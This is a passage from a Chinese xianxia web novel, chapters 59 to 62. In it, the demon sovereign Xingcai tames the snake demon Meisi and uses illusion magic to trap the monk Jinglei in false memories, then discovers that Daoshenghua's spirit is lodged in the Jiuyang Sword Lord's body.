水玲珑在花园的拱形洞门下回首，细细地体会此刻欣喜、期盼救驾场面到来的心情：“是啊，行姐，我决定好了。”
荇菜莞尔，挥手让她离开。
不久后，整理完一垄药田，耳闻“嘶嘶”声，像极一种吐舌头探收信号的冷血动物。
环顾四面八方游走而来的五花八门的蛇。荇菜淡声道：“何必整这么一出吓人？我的兜里有雄黄，足够让它们难受到死，包括你九头妖蛇——美兕。”
59. 第 59 章
花园里掀起一阵阴风，油光黑亮的金环巨蟒立在荇菜的背后，巨大的扁平三角蛇头幻化出一张扁平的美人脸，随荇菜侧头而侧头，玩得很阴森。
蛇脸妖艳，镶嵌漆黑戴金环的竖瞳眼珠，珠光里漾着毒。尖牙外露，闪烁寒芒，分叉的猩红舌尖从雪白的尖牙中探向荇菜白皙的后脖子，准备咬一口。
荇菜环顾左右不见大蛇，低头时正见一道巨大阴影覆盖自己的影子。
如常地弯腰侍弄药苗，一撅屁股，手中的药铲手柄不经意却狠狠地往后戳，顶在美兕的蛇身腰腹。
倾身咬来的美兕被不明所以地撞飞出去。
美兕大怒，以为荇菜会回头，却发现她若无其事地继续伺弄药苗，刚才的举动像是个意外。
舔尖牙，伏地从荇菜的双足间游过，化出扁平贴地的人脸，与荇菜看地的脸正好面对面。
平平如白纸的脸上露出邪恶的笑容，两颗锋锐的尖牙从纸上慢慢地长出，挑衅地戳向荇菜。
荇菜眨眼，不慌不忙地徐徐起身，紧盯着躺在地上的人脸双眸，猛抬脚，狠踩下去，充分诠释什么叫快准狠，精准踩在她鼻上眼睛的位置。
美兕正感得意，一只鞋底带泥的脚如天般压来，直扑脸孔，缩牙大喊：“等等……唔……”
荇菜用力把蛇脸碾进土，左右来回挪蹭掉鞋底的泥。
漆黑带金环的蛇尾随美兕的痛苦扭动，攀缠荇菜的腰身自救，却碰撒她拿出药囊的雄黄。粉末洒在蛇尾，刺激的味道弥散开去。泥地几米外都闻到雄黄味，蛇子蛇孙们嘶嘶得往后撤，美兕的蛇尾脏了，嘶啦一声，缩进泥地。
整个巨大的蛇身包括美兕的人脸都在缩小，直至像蚯蚓一样钻出荇菜的鞋底。
荇菜考虑三秒，没有勇气去抓这条变小都可能含剧毒的蚯蚓蛇，任她嗦嗦地游走。
漆黑的小蛇逃到药垄对面，重新拔长成为漆黑带金环的大蛇。蛇尾上的雄黄已经被蹭进泥土，聪明地站在上风口。
荇菜的目光落在蛇头下的七寸分叉，上面有八道圆形伤疤：竟真有九颗脑袋，还被砍去八颗，嘶……光看着就觉得脖子凉。
美兕重新幻化立体人头，一张脸面上印片鞋印：“喂，有没有礼貌啊，你拿脚踩人脸，呸呸……都是泥。”
荇菜眨眼：登场很美兕，开场白很不美兕。
“第一，这是我家院子，一条大蛇带这么多蛇子蛇孙不请自来，你不礼貌，它们不礼貌。第二，我踩得不是人。”眼见美兕发急，快口道，“第三，地上躺张变脸纸，故意吓人，不就等着被人踩？”
美兕张口露牙，虚张半天，脱口而出：“你见过哪家蛇进院跟主人打招呼？”
荇菜准备好理智型辩论，却发现对方是个滚地龙，很像刚才教水玲珑对付崔洧得那套手段，有一种现世报的感觉。
美兕找到对话的方式，继续叉腰输出：“我本就不是人，蛇不躺地上，躺你身上吗？”得意地骚动蛇尾，撸到后面刚种上的药苗。
荇菜眯起紫眸，冷冷地盯向她。
美兕惊讶地看入她的眼眸，一副“老娘不怕你惑术”的神态，实则是根本没准备好。
潋滟的紫波里燃起巨大的白色焰火。
白色焰火散去，两名凶神恶煞的大和尚狠扑过来，生生拔掉四颗纠缠在一块的美人蛇头。
“啊……”美兕惊恐大叫，往后缩躲，彻底被荇菜的幻术眼神吓住。
蛇躯的上半身幻化出丰满的人形，瑟缩地捂住眼睛：“别……别杀我……呜呜，好可怕。姐姐们都死了，都死了……”
荇菜定睛望她，典型的蛇妖曲线，身姿丰满，惧怕时如弱柳扶风，不看脸就能让人生出怜惜。
目光后移，口气不善道，“你踩到我的药。”
“不杀……我啊，对不起。”美兕往前挪，却弄塌田垄边的土埂。
荇菜的脸色越发漆黑，真不该用清音术让她这么快镇定。
美兕偷偷地瞟她脸色，不敢再正眼看她的眼睛。九头蛇的眼睛致幻，却敌不过妖尊的勾人心魔惑术。
“我……你……我帮你弄好吧。”
弯腰去扶被尾巴弄歪的药苗。不过，药苗被碰到就毒焉瘪。
“……对不起。我什么都干不好，全身上下是毒，尤其这双手。”
荇菜怀疑地睨向她露出委屈的面孔：农夫和蛇，这家伙不会看起来真诚，实际在讨嫌讨债吧？
抬下巴指向田外，示意她离开药田。
美兕忙不迭游去田外盘立，一副乖顺懂事的小模样，与先前吓人又怼人的模样判若俩人。
她虚张嘴巴，似有话说，又什么都没说出口。
荇菜环顾四周发出嘶嘶声的蛇子蛇孙。
美兕懂她的意思，嘶嘶两声：“你们都走吧，我不会有事。”
满园的蛇子蛇孙嗦嗦地游走而去。不稍片刻，除留下过蛇行痕迹外，一条蛇影都不见。
“你叫什么？”荇菜戴上手套，拔掉被她毒坏的药苗。
“美兕啊。你不是叫我美兕吗？”美兕拍打蛇腹，又拍了下……
荇菜已经从她不是美兕、她真是美兕、她不可能是美兕、她就是美兕的无语中回神：“你在干嘛？”
“我在拍蛇骨，拍松散好变成人腿。”美兕嘿嘿笑，见荇菜侧脸，抿唇道，“对不起嘛，吓你是我不对。我是在打探，传扬天下的合欢妖尊到底厉不厉害嘛。事实证明，你很厉害。你的惑术比我得还厉害。”
“……”荇菜轻叹：这种智商的蛇妖攻十方山寺？难道是因为体型够大？
瞥向傻笑的美兕：不可能！
美兕：“我在水泽乡的洞府修炼，听蛇孙们说，大陆新出个合欢妖尊。既然是妖尊，本事定不小。但是，我还得亲自验证过啊。你是妖，我也是妖。妖应该互帮互助。”
狠狠地拍打蛇腹，露出两条玉璧般的大长腿。因疏于走路，又一下子摔在泥地。
她朝张大眼的荇菜嘿嘿发笑，一拂长腿，幻化出黑金色的长裙：“好了。”
扭着腰肢试了几次才站直，看起来很辛苦。
荇菜忘记要说什么：“若你不方便，就半人半蛇状态好了。”
“没事没事。两百年没幻化出腿，不太习惯，走几步习惯就好。哎呀……”美兕倒在药垄边，手边是药苗。
赶紧缩手，“还好还好，没弄死，呵呵呵……”
荇菜得找地方缓缓，重新树立对美兕的认知。拎起放药苗的篮子，搁在美兕的面前：“游进去，我带你去洗干净。”
“啊？”美兕绽放笑容，哦了声，扭腰肢变成小小一条盘进篮子。
进入篮子后为说话方便，继续变大脑袋，占满整只篮子。
一篮子一颗大脑袋，好像装一颗松散的大白花菜，上面还爬两只瓢虫似的眼珠。
荇菜像是那个杀过人后提上人头去抛尸的。
长舒口气，不低头瞧，提篮子就走。
美兕探出小手手巴拉住篮筐：“你人怪好的。你真是那个合欢妖尊嘛？怎么看起来像没有修为呀，不怕我咬你吗？”
“问这么多，我回答哪一个？你是走水道入园。”荇菜瞟眼园子里的大湖，
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与城中大河、水泽乡相通。难怪这么条蛇进城没有惊动城里人。
她走到湖边，打桶水。美兕还窝在篮子里装尸头，就别怪她手辣。
“嗯。你不怕我咬你吗？”美兕再次仰面问。
“以你的智商能咬到谁？”荇菜微顿，自觉失言，“若你要害我，早就咬下来，哪来这么多戏。”
“你真聪明，我是来求你帮忙，怎么会真咬你呢。你好像我的大姐美兕，又本事又聪明。哦，我还没正式自我介绍：我是九妹美兕。”
美兕被荇菜毫无预兆地倒进水桶。“噗”得吐出口水，“现在就我一个美兕，没人和我同名。噗噗噗……别压我脑袋……唔……”
荇菜收手，往后退，避开水花四溅，瞧她把水桶胀满撑破，哈哈地笑了，总算出口被她的出场吓到的气。
美兕摸把脸，亭亭地立在水边：“做什么这么用力，我自己会洗。”
“嗯。你继续洗。”荇菜憋着笑，又打半桶水洗干净手和鞋底，转去花厅休息。
美兕扭着腰肢、一步三摇进屋，环顾富丽堂皇的屋子摆饰，嘶嘶地吐蛇信：“人住的地方真好看。”
“你有九颗脑袋，就有九个性格。能和我说说其余八个美兕的事吗？”荇菜从她零碎的“别杀、姐姐们、大姐美兕”中理出思路：九脑一躯，人格独立。
美兕坐在圆桌边，拿过只杯子，学荇菜拿下巴点茶壶。
荇菜抽眼角，取过茶壶给她倒杯水。
美兕享受地喝口白开水，舒服道：“人类烧过的水味道就是不一样。我有一二三四五六七八个姐姐，她们都死了，六位被十方山寺的两个和尚杀死。四姐、五姐被臭和尚杀死。”
荇菜阻止她继续吧啦：“杀你一二三、六七八的姐姐是十方寺的惊雷和惊蛰，四五两位又是被哪个臭和尚杀死？”和尚不都是十方山寺吗？
“林枷啊。一二三、六七八姐姐喜欢林枷。但是，四五和我不喜欢他。她们头多，我们头少，反对无效。”美兕又给自己倒杯水，感受水的滋味，“真好喝。
对啦，妖尊。我的一个仇人就在附近，我打不过他，被他杀掉好多蛇子蛇孙，塞进他腰间的布袋子和大碗。
他就是当初拧掉我二三六、三位姐姐脑袋的和尚。”
“惊雷？”
“对，就是他。妖尊，我找你就是想求你帮我报仇。你是妖，我也是妖。我们应该……”
荇菜不耐烦道：“行了。我明白你的意思。”
美兕：“真明白？你不能像那个讨妖厌的凤尊，守着天羽宗的死规矩，处处吃人族的瘪，得给我们妖族讨一个公道。”
荇菜对她生出几分好奇，轻笑着流转声线：“想为你的姐姐们报仇，你能为此付出什么？”
“只要能杀了惊雷，除了要我的命，其它什么我都答应你。”美兕挺胸，神色看起来坚定却又有些瑟缩。
荇菜轻哼：这就是念念不忘报仇却还想保命的蛇妖。当年她能逃过大劫，恐怕是因着这份胆小可怜。
作为女配出身的荇菜，能共情到美兕的无能、弱小，乃至有机会就要反咬一口的不甘和狠辣。
“守空大师呢，他没有份吗？”
美兕早就考虑过这个问题，拍掌道：“我已经打探清楚，另外一个叫惊蛰的和尚已经死掉，就不找他麻烦。
守空和尚制服林枷那坏东西，而且是他保下我这颗脑袋。
四姐、五姐最疼我，因为不听话被林枷斩杀。我是妖族，也懂有怨报怨、有仇报仇的道理。所以，我不找守空和尚，只找那个叫惊雷的麻烦。”
60. 第 60 章
荇菜没想到美兕还是条有原则的妖蛇，决定帮她这个忙。正好手边缺一件趁手的工具对付惊雷，这就有送上门的。
“惊雷到什么地方？”
“在剑仙城外的水泽乡渡口化缘。”美兕滑下凳子，摔个屁股蹲。龇牙咧嘴，摸屁股重新跪好，“我忘记现在是人形。妖尊，你答应帮我吗？其实，我还有个不情之请。”
荇菜眯眸，平静地注视她。
美兕瑟缩，咬牙道：“林枷杀妖分尸是为报复妖族。他是一只黄鼬，儿时在村里不小心放个屁，被同伴们嘲笑厌恶，大家都不爱跟他玩。
后来，村里陆续出现妖童的尸体。妖族大人们查到是他干的坏事，要杀他。大姐美兕帮他逃掉。
此后多年，林枷摇身一变成为和尚，行走羽民国，专门借守空大师的名义行杀妖分尸的恶行。
林枷被十方寺关起来后，我的大姐对他念念不忘，说服其她的姐姐们一起救他。她们策划一起诱惑修真人士攻打十方山寺的战役。”
荇菜冷嗤：“你的大姐真是不明事理，却又强得可怕。”
“是啊。那一战若非我蛇头还小，缩躲在脖子处，不然也没法活下来。林枷被镇压后，两百年间，十方山寺却还在行杀妖分尸的手法。
不少妖族明明没有害人，只是贪恋人的温暖，学着做人却被杀死。我想求妖尊，制止十方山寺这等恶行。”
美兕端端正正地跪下去。
荇菜想起贺喜说得那番话，十方山寺能答应花涟和解惊蛰的事，用得是花涟渡劫赴死、感应道祖天尊黄椒存在的方法，以死洗掉过往。
“行啊。”扶起美兕，抚上她柔嫩微凉的肌肤，“惊雷的血又热又毒，你将是他最好的解药。”
美兕眨眼，惊恐道：“我不想死……”
“不会。你不仅不会死，而且能狠狠地折磨他。”荇菜一把锁住美兕的喉骨，掐得也正是蛇的七寸。
“呜呜……妖……尊……”美兕没想到妖尊比蛇还阴晴不定。
“你说过，你可以为报仇付出任何除死以外的代价。”荇菜见她重重地点头，松开手，“你用全力对本尊使出惑术，本尊要知道你的实力。”
“……好。”
**
剑仙城外的渡口，惊雷正在等剑仙城下发的通关文牒。
十国里就山泽国对邪魔妖道特别宽容，不仅同羽民国合作，还定下收容妖族的约定，也爱找十方山寺的麻烦。
崔洧上台后实行远交近攻，对高昌国更没好脸色，国策完全偏向另一边的羽民国和隔着一国地理的欧丝国，联合欧丝国，几次争对高昌国边境。
十方山寺的和尚入山泽国境，必须每城都盖通关文牒。耽误的功夫可以让城中妖族遁走。
惊雷盘坐在渡口木板上，念诵佛经。
“救命啊……救命……咕……啊……救命……”
惊雷睁眼，冷眼看向在河中沉浮的女子。河中水流滩急，向河道外的水泽乡奔涌而去。只稍片刻，这名被上游冲来的女子就可能溺毙。
若她是妖呢，故意引人去救呢？
河水掩盖妖气，距离太远分辨不了妖身。
若她只是个浣衣女呢？不慎落水，急需援手呢？
山泽国如此待僧人，为什么救他的子民？
龙弼大师的教诲在惊雷的耳边响起：“惊雷，以杀道证佛心，不是以暴制恶，而是从恶中悟善，习得放下。”
惊雷轻嗤，松开合十的双手站起身，一掠过江，出手抓向沉浮的女子，正要带她出水，一条巨大的擎天蛇尾卷绕在惊雷的腰身。
大惊喊：“蛇妖美兕……”
噗通一声，惊雷被卷裹入水，沉浮间看到一道飘漾的潋滟紫波。浮光掠影中，"惊蛰"含笑喊：“师兄，你来找我吗？”
“阿蛰……咕噜……”合欢妖女。
即将溺毙的惊雷生出汹涌的狠厉，以巨力掰扯美兕的蛇身，令她松开蛇缠。
破水声响亮而巨大。
惊雷出水跪在岸边，呼呼地喘息着，眼底惊现一双白色踏云靴。
正待恢复元气的他仰头望去，这一眼再挣脱不出噩梦。
花涟……没死？不是他……是惊蛰……
“师弟。”
荇菜勾着唇，俯下身，勾指抬起入了惑术的惊雷下颚，幽幽含笑：“惊雷师兄，怎么能这么对待你的夫人呢？”
“夫人？”惊雷的识海被浓重的三色火焰灼烧，火焰中走来一名婀娜女子，女子的容颜正是惊蛰的模样。然而，惊蛰虚影的背后是美兕，婉婉笑喊：“夫君。”
入耳的声音在蜃珠催生的幻觉中成为：“师兄……”
惊雷大张虎眸，周身罡气慢慢沉敛：“师弟……”娘子……
记忆一旦打开，就开始错乱。师兄身份对应夫君，师弟身份对应娘子，身份交错、记忆更替，最终一切合理化。
惊雷下意识随再次传来的“夫君”声看去，河边立着湿漉漉的可怜女子，喃喃道：“娘子……”
荇菜收回手，一道蜃珠冰封锁住惊雷真实的记忆感知，余下是被替换的记忆画面。
记忆可以拆分为画面和感知，保留记忆的画面，替换画面里的关键人物。真实的记忆感知被冰封掩埋，受术者记不清到底是师兄弟感情还是现实展现的夫妻情。余下就是美兕的工作，迷惑惊雷的记忆感知，让他主观认定两人是夫妻。
美兕走近糜顿的惊雷，拂过他的肩头，解开袈裟玉扣。
她倚在环住自己腰身的惊雷肩头，朝远去的荇菜幽幽启笑：我一定好好报复他，毁他道行，让他彻底入魔。
荇菜转身离去，让背后的渡口芦苇荡成为蛇妖的野战地。
对于充满戾气的和尚，最好的手段是引诱出他唯一的真心，再让真心成为他入魔的强心针。
杀妖分尸镇魂，不仅是惊蛰的心魔，也是惊雷的噩梦。这两人永远挣不脱十方山寺山道上漫山遍野的尸身血河，脱不出日日行道中积聚的血腥妖气。
这种充满煞气的和尚必定要有一个精神支柱。若两人的精神支柱是“道”，他们的境界不会一直停留在佛丹境。<
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p>排除“道”的存在，惊蛰就是惊雷的救赎，所以，惊雷对他的死耿耿于怀，一直放不下。
救赎就是施术者对受术者的突破口。
剑仙城中，荇菜心情好，先去成衣铺换一套白衣裙衫，挽个小姑娘的包包头发髻。她又觉得包子头太素，到首饰摊位挑拣琳琅满目的饰品。
一道挺拔如剑的身影从背后过去，浮荡的剑气让她侧头望向走远的白衣背影：九阳剑尊！
目光一远，荇菜看到不远处正对走来的女子：瑶姬。
有趣，一次见到两位熟人。荇菜勾起唇角：奇怪，瑶姬路过九阳剑尊怎么不行礼？瑶姬的师父九霄剑尊可是九阳剑尊的师弟。
瑶姬和一名贵族打扮的女子并排逛街，穿过挑拣饰品的荇菜，对她的脸盯看两秒后神色平平地继续走路。
瑶姬朝身旁的女子道：“双儿师妹，她长得真美，比你还美。”
西双儿冷眼睨她：“平民女子，焉能与凤凰攀美？怎么不说她比瑶姬师姐美呢？瑶姬师姐也是平民出身吧。朱琴天是我们西塔国四大城的朱家子孙，平民的身份可不配站在他身边。”
瑶姬不怒反笑：“双儿师妹已经与朱师弟解除婚约，如今发现他是门中普通弟子，可是对他失望了？”
西双儿沉目：“你故意发信骗我前来，说他现在是九阳剑尊的弟子，身份不凡……”
瑶姬一把挽上她的手臂，不让西双儿挣开：“这都多少年前的事了。若不是他在门里毁你清誉，说什么元阳是被你破的，我也不会出此下策让你前来。你一来就被举荐到九玄剑尊门下，成为大师姐禾诗逸的小师妹，让谣言不攻自破，正好出口恶气。”
西双儿嗤笑：“难道不是瑶姬师姐爱慕朱琴天，想找我澄清谣言，给自己正名份？”
瑶姬也嗤：“怎么可能呢？呵，走吧。梳宝斋来好些三首国矮人打造的饰品，可精美了。”
……
荇菜耳闻两人的矛盾，轻轻地放下手里的饰品：西双儿，朱琴天的未婚妻，后宫女子之一。照两人的谈话，瑶姬对朱琴天已经免疫，还是如西双儿说得一样“请她来给自己正名”？
九阳剑尊和瑶姬背道而行，得挑一个下手。瑶姬会经常出青虞宗，容易接触。但是，九阳剑尊不一定啊。
衡量过后，荇菜决定跟上九阳剑尊。道祖天尊的分身是提升自身修为的灵丹妙药，比同朱琴天斗气重要得多。
一直追着九阳剑尊的背影到达水泽乡渡口。
惊雷和美兕已经不在此处，美兕会按计划同惊雷如寻常夫妻般度过数月，再实施下一步计划。消除杀妖分尸镇魂的手段，只杀掉一个惊雷不抵事，还有不少跟随他的师弟。这种手法已经是一条“道”。灭道，只能用除根的方式。
九阳剑尊如雪山高岭般矗立在渡口，面前漂浮一艘不大的小舟，似正等人上船。
这样的人穿街过市竟没有引人注目，实在奇怪。不好，上当了。荇菜面色瞬变，转身要走，而人已漂浮起来向后倒飞过去。
一只手穿过腰身，惊得荇菜仰头望去。
61. 第 61 章
“九阳剑尊”含笑低头，惊到荇菜动弹不得。
“道……道生花，竟然是你！”
难怪瑶姬没有拜见九阳剑尊，原来她看到得是道生花。瑶姬不认识道生花。
荇菜修得是《玉石还阳功》，施得是心神类法术，行得是合欢道，对他人的外形、能量感知很少出错。
这背影和气质分明是九阳剑尊。
道生花轻笑，勾手怀中荇菜的下颚，骨节分明的手掌顺曲线下移，落在纤细如玉的脖子，轻柔而细腻地抚触着：“小妖女，修为被封印了。”
他变得异常主动，俯身吻在荇菜的合欢花钿旁，引得她轻颤身体。这让道生花异常愉快：“境界提升，反倒变得越发敏感诱人。”
“你……故意引我来。”荇菜咬牙，挣了下腰肢，没能脱身。可恨没法对这个家伙一击必中。
“是啊。若你不贪求九阳的灵力会跟过来？现在变狡猾多了。本尊记得上一次被你摆一道，害得本尊……”
道生花的眸光如剑，莫测地看向她如花似玉的脸庞，直把人吓得花容变色。
“呵……”妖女的合欢道行越发深厚，尤其额间花钿透出强者的气息。合欢宗不出世的老祖半月尊者的手笔，说明妖女有新的靠山，轻易动不得。
阴翳在道生花的眼眸里凝聚，让她站直后捏紧她的手腕，硬拖她上小舟。
“放开我。”一旦上舟，荇菜就得自由。小舟自动破水穿行，驶入渺茫水泽乡。她环顾四方缭绕的水汽，脚踩船舷，似一个不高兴就要掀翻小船，实则衡量跳水逃生的可能性。
“你想怎么样，我怎么害你？架是你自己要打……”醋是自己要吃，怪谁啊？
荇菜眼见他坐在舟尾，想起那句未尽的话：“害得本尊……”怎样？
深吸口气后面色平静地坐在舟头，距离他远远的，试探道：“听说你被关在天龙道的浮空城，怎么出来？照道理，你……不可能离得开天龙道。”
道生花静好长时间，沉落的唇角再次轻勾，似笑非笑地睨向荇菜。
人往后倒靠在船舷，搭在舷外的手落在水泽乡的水面，指尖在小舟穿行时偶尔勾出一道裙尾般的白色波纹。
“黑羽是他的分身，你不忍告诉他真相。本尊呢？早就等着看本尊的笑话吧。知道本尊是他的分身却不说，可笑本尊查他的分身多年，分身竟是本尊自己。”
荇菜撇脸，避开他意义不明的玩弄眼神。
道生花最终发现这个秘密，证实当年对他的猜测没错。
“我不确定的，惑术于你的效果不大。何况，你找他的分身用意说得是阻止他变强，实则大陆上的人都在期待他飞升离开，好趁十国大乱，重新谋划势力分布。
你们三生道的用意真是与常人相反，留下他对你们有什么好处？”
“你不用嘲讽三生道。”道生花的神思轻荡，想起自家的师父。
泽萃尊者在五百年前创下三生道，立下与道祖天尊黄椒不死不休的教宗后再没正式出现过，除一道“他的分身找到吗”外，再无其余吩咐。
以往不觉奇怪，自这个妖女可以吸收道祖天尊的分身后，这件找出分身的事反倒变得奇怪，仅仅是为阻止他飞升吗？不死不休之仇？
荇菜发现他出神，赶紧问：“你怎么逃出来，没被他收回去？”
道生花注目她，轻笑：“你不知道？吸收他那么多的分身灵力，摸不到一点边？啧啧……笨。”
道生花嘲讽的面目突然扭曲，探入水面的左手开始抽动，一个力量想要再次撩拨水泽乡的水，却有股抗力让他抬起手，不做这么无聊的举动。
他的动作变得僵硬且相反，像是被分裂了。
荇菜微睁双眸，全程注意着他不协调的动作。
再细瞧时，道生花又把手伸进水，做出眯眸冷嗤出神的状态。
荇菜悄悄地伸向水泽乡的水面，轻易地拨出水纹。
水泽乡没问题，道生花出问题！
若是道生花，不可能用九阳剑尊的身形引人上钩。道生花自负，怎么可能会扮演成仇敌的模样。撩水的动作僵硬，像有一股抗力在阻止他随性而为。
她重整旗鼓，再次试探：“说起上一次，你的师妹道璇玑害得我好苦。打伤我两位朋友，差点连我也被她杀死。”
道生花的面上晃过笑容，搭靠着船舷起身，唬得荇菜抓住船舷坐正。
他拉扯唇角睨她：“你害她化出原型，躲进玄星阵法修养，本事更大。”
荇菜觉得他是道生花没错，但笔直如剑的身形分明给人九阳剑尊的感觉，而花孔雀站着都会有种慵懒写意的气质。
“九阳剑尊和你一起失踪，羽化生又说你们都好好得待在天龙道。你逃出来，九阳剑尊呢？”
“嗤，谁管他！啊……”道生花捂住发疼的脑袋，眯眸看向张大眼的荇菜。
妖女一定是察觉出问题才屡次试探，识海里的家伙竟然想要见她。
他勾指让荇菜浮到面前，龇牙露笑，做好准备才看入她蓄势的潋滟紫波。
“你一而再地试探就是在找机会一击即中。很好，小妖女长本事，学会沉住气，谋定后而动。可惜，你的修为被封印。无妨，本尊这就告诉你究竟是怎么回事。”
“你……”荇菜凝定的紫眸被突破，一道强悍霸道的神识携裹她的神识闯开一片瀑布般的识海。
“道生花”的识海里，一条从天悬垂的瀑布飞流直下，宛如银白长剑炸放无数剑芒。
白衣金缕的剑仙在瀑布飞溅的剑芒前矗立不动，凝视纤细曼妙的身姿漫步而来。
九阳剑尊的神识平静地朝来人道：“多年不见，你的道走得可还顺畅？”
荇菜低首旋身，魂识幻化的凤凰羽裙衫漾出一阵波浪，引动周遭悬浮的剑气像风一样承托起裙摆，拂过面庞。她感受到一种接纳，像是进入花涟的识海般亲切。这是被主人认可进入的意思。
九阳剑尊微微张眸，手掌下压，稳住识海里起风呼迎的剑意。
荇菜修习“心、神”之术，结合花涟留下的学识，非常快地理解现在的情况。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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这是“道生花”的识海，不，确切来说是九阳剑尊的识海，而道生花的神识托身在九阳剑尊的法体内。
道生花失去他的法体肉身。
荇菜为这个猜测暗暗激动，道生花这家伙也有今天。
向九阳剑尊袅袅娉婷地行个拂身礼，轻起红唇：“托剑尊的福，走得虽不是一帆风顺，却也算扶摇直上。
剑尊怎么会在道生花的识海？”
另一侧，道生花凝出身形，笑看两方。三人成一个三角阵型，分立三方。
“装什么？猜到就猜到，本尊没你这小妖精这么多的诡谲心思。”
荇菜：没肉身嘴巴还这么臭，有得你受。
九阳剑尊点头，出掌向天，识海剑气浮游而起，攻击上空。
不稍片刻，识海上空出现一座巨大的金红阵法，法纹交叠相缠，中间游走两道红丝。
“裂魂破境阵。”荇菜喃喃道。
两位合体期大能的裂魂阵法结合在一块，形成更复杂的阵法。
阵内的红丝游走，代表两人的固体神识，说明两人谁也不服谁，谁也不肯被对方吞噬，只因奇虎相当。
只有一个存在可以制服他们，就是道祖天尊黄椒本尊。这就是修为高的存在制衡修为低者的现实。所以，道祖天尊黄椒在设置分身时会给分身设置修为上限。
不然，分身强大至道祖天尊现在的修为程度，可以实现……反噬本体。
花涟消散前的声音不期然响起：借住他遍布大陆的分身不断壮大自身。不必经历渡劫，因为两体同灵，他的灵力本就是经历雷劫的灵力，你会成为第二个他。往后，娘子会明白我的用意。
原来，花涟说得用意是这个。
分身反噬道祖天尊黄椒，集合足够多的神识，造出一个全新的道祖天尊，可以压制黄椒。
花涟能重新归来！
荇菜被真相震在原地：花涟已经想到这层。若道祖天尊知道我在做什么就绝对会来阻止，而绑定的天地同心魂契可以保自己平安。
“十多年没见，小丫头的见识长进不少。你的道侣叫花涟，对吧？我记得他是你的师尊，没想到他也是分身之一。”
道生花冷嘲热讽，“听说，你们定下天地同心魂契。”
荇菜的神思如过电：道生花这等人，法体肉身被毁，必然不甘心。他的目的很简单，反噬本体。
“分身源自于道祖天尊黄椒的神识，每个分身的能力修为被他限定能达到的上限。”
九阳剑尊和道生花互看眼，齐齐道：“你已经能看出我们的上限？”
“传闻道祖天尊是渡劫境，已经在此境停留千年。他想要得无非是破境飞升，搞出这么多分身是为积攒道境法意，突破渡劫期的道境桎梏。”
道生花轻嗤，想走近荇菜，却被九阳剑尊拦下。
他立在原地：“没错。没有天龙道一行，我真不知道自己是这么个玩意。”
荇菜看向两人：“你们达成共识一起反抗他？”
九阳剑尊没表态。
62. 第 62 章
识海内，道生花哂笑：“我们好歹是合体期修士，清楚情况后又怎么可能甘愿赴死？你的道侣不过元婴，抵抗不了他很正常。此外，大家都是他的分身，天地同心魂契对我们也有影响。不如你换一个道侣，本尊怎么样？
本尊富有三生道，有足够的野心和意志反抗他。只要你与本尊合作。”
“呵，哈哈哈……”荇菜捧腹大笑，不顾道生花难看的面色，转身退出九阳剑尊的识海。不能在人家识海里嘲笑他，显得多不礼貌啊。“没想到啊没想到，道生花竟然主动送这么大个把柄给我，哈哈哈哈……”
道生花阴晴不定地看着她消失，再有传入耳内的话和笑声，咬牙：“小人嘴脸。”
九阳剑尊向识海的出口走去，平静无波道：“喜欢她是我们的宿命。”
“什么意思，你反悔了？”道生花脸色大变，再要抢先，已经被剑气掀得倒飞回去。
九阳剑尊头也不回：“逾越了。希望你记住，这是本尊的身体，只是暂时借你用。本尊不喜玩水，”也不喜你欺负她。
道生花从未这般憋屈，化出法器雕花玉笛，横身拦住九阳剑尊的去路：“九阳，常言说：色迷心窍。若你被她迷住就等着被吃干抹净后消散。别忘记你是怎么逃出那座归魂殿。”
九阳剑尊的虚影直接穿过他：“在归魂殿一役前，黑羽城的上空，你与我不死不休。我和你从来不是朋友。”
“好好好，反悔是吧？”道生花磨牙，手中旋笛，气骂：“小人得志。等你消散，就知道什么叫后悔。切！”终是没有当场爆发。
荇菜亲眼看见舟尾的“道生花”改变容颜，恢复成九阳剑尊的容色。
以道生花的法术，易个容确实简单。比如他曾经对黑羽做过的易肤术。
对面的人变成九阳剑尊，荇菜在舟头坐得越发轻松：“剑尊，他给你造成很大的困扰吧。”
九阳剑尊细细地打量荇菜，确定她不是在看笑话，没有把对道生花的厌恶转移给自己，心中欣慰她明事理。
“有点。”同敌人共用一体是什么感觉？恨不得劈裂自己，分成两半。
荇菜不揭人伤疤，想出对策：“剑尊想要驱逐他吗？或许，我可以帮到你。”
识海里的道生花破口大骂：小妖精，忘恩负义。当初是谁帮你压制功法反噬，送你上青虞宗借力恢复？一对混账东西，气死本尊！
他不是忍气吞声的主，旋掌击向上空的裂魂破境阵，击打在属于九阳剑尊的法纹部分。
大不了同归于尽。
在外的九阳剑尊没想吞噬道生花的神识，正要解释就眉心发胀，察觉到道生花不死不休的意志。
“抱歉。”他朝荇菜说声，神识往后退，又让道生花出面。
道生花冷笑，一抹面又是妖孽俊容，抬手朝荇菜发难。
荇菜知道这货不好对付，捏紧两侧船舷，一鼓作气道：“道生花，我警告你别再动手动脚。因为天地魂契绑定，分身无法违背正主的意志杀我。你用这种方式引起我的注意，我也不会多看你一眼。现在是我占有主动权，你处在下风，最好对我客气点。”
“你……我在引起你注意、爱上你？你不照照水泽乡，看看自己长……”
荇菜伸直天鹅似的长颈，眸光蕴怒烧火，逼视他：是可忍孰不可忍。逼急了，照样杀你。
一片银白的眸光里，圣洁的道莲独立在浩瀚的天地，开在唯一对的时间。在他的注目期待下，圣洁的道莲徐徐盛开，独为一人绽放。
道生花生生压住没说完的话，吐出两字，“……作弊。”又磨牙，“你也配得上它？”
实在面对不了道生圣莲是小妖精这个事实，神识主动后退。
九阳剑尊再次出现，默默地侧脸变回自己的容貌，声线平稳：“你压制住他，以后不用再怕他。”
道生花在识海内跳脚：九阳老匹夫，在天龙道的归魂殿，你怎么不乖乖被他吸收掉，又为什么和本尊联手反抗他？
九阳剑尊自动屏蔽掉脑海里的道生花。
荇菜耸肩，再次轻松下来：“我很好奇他看到什么，心魔是什么？”
九阳剑尊不欲谈道生花的事，但是为避免荇菜日后被道生花欺负，吐露真相：“本尊和他共用识海，因而知道些：他喜爱一种只存在古籍记载里名为‘道生圣莲’的意境。传闻此等道境至洁无暇，可遇不可求。”
“道莲？呵，他觉得我配不上至洁道莲？精神洁癖吧。”荇菜恍然，点头道，“哦，因为他有精神洁癖，而我点出他内心的真相，觉得我不配。哈……哈哈哈，他确实需要一段时间消化这个违反他精神世界的事实，哈哈哈哈……”
荇菜总算明白花孔雀的弱点，水泽乡的水雾都变得清爽美丽，大笑着：“剑尊回青虞宗吗？”
“不回去。道生花是三生道法尊。本尊没法一直控制他不出识海，恐给青虞宗带去麻烦，先不回宗门。”
